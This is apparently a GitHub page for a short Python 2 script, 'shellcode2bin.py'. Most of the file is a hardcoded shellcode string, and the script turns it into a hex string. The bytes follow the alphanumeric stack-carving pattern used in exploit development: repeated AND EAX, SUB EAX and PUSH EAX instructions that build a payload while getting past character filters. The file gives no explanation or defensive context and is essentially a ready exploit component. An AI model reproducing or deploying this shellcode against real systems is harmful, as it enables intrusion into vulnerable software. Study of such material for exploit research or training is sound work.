-
Notifications
You must be signed in to change notification settings - Fork 9
/
shellcode2bin.py
19 lines (18 loc) · 1.1 KB
/
shellcode2bin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
shellcode = ""
shellcode += "\x25\x41\x41\x41\x41\x25\x3E\x3E\x3E\x3E\x2d\x38\x42\x71\x5e\x2d"
shellcode += "\x28\x6b\x45\x4a\x2d\x2b\x6b\x49\x6f\x50\x25\x41\x41\x41\x41\x25"
shellcode += "\x3E\x3E\x3E\x3E\x2d\x79\x2d\x49\x71\x2d\x77\x34\x7e\x79\x2d\x61"
shellcode += "\x28\x4e\x65\x50\x25\x41\x41\x41\x41\x25\x3E\x3E\x3E\x3E\x2d\x61"
shellcode += "\x4c\x47\x38\x2d\x36\x37\x00\x7a\x2d\x39\x2e\x2d\x53\x50\x25\x41"
shellcode += "\x41\x41\x41\x25\x3E\x3E\x3E\x3E\x2d\x54\x78\x00\x2e\x2d\x4c\x65"
shellcode += "\x45\x6e\x2d\x71\x69\x77\x33\x50\x25\x41\x41\x41\x41\x25\x3E\x3E"
shellcode += "\x3E\x3E\x2d\x61\x62\x4c\x32\x2d\x2e\x37\x2b\x59\x2d\x35\x61\x2e"
shellcode += "\x00\x50\x25\x41\x41\x41\x41\x25\x3E\x3E\x3E\x3E\x2d\x4e\x36\x59"
shellcode += "\x4b\x2d\x4c\x71\x6b\x4f\x2d\x64\x00\x6e\x36\x50\x25\x41\x41\x41"
shellcode += "\x41\x25\x3E\x3E\x3E\x3E\x2d\x54\x43\x47\x33\x2d\x46\x51\x00\x32"
shellcode += "\x2d\x57\x29\x66\x30\x50\x25\x41\x41\x41\x41\x25\x3E\x3E\x3E\x3E"
shellcode += "\x2d\x29\x28\x69\x45\x2d\x30\x2d\x58\x57\x2d\x41\x29\x74\x63\x50"
out = ""
for i in shellcode:
out += "%0.2X" % ord(i)
print out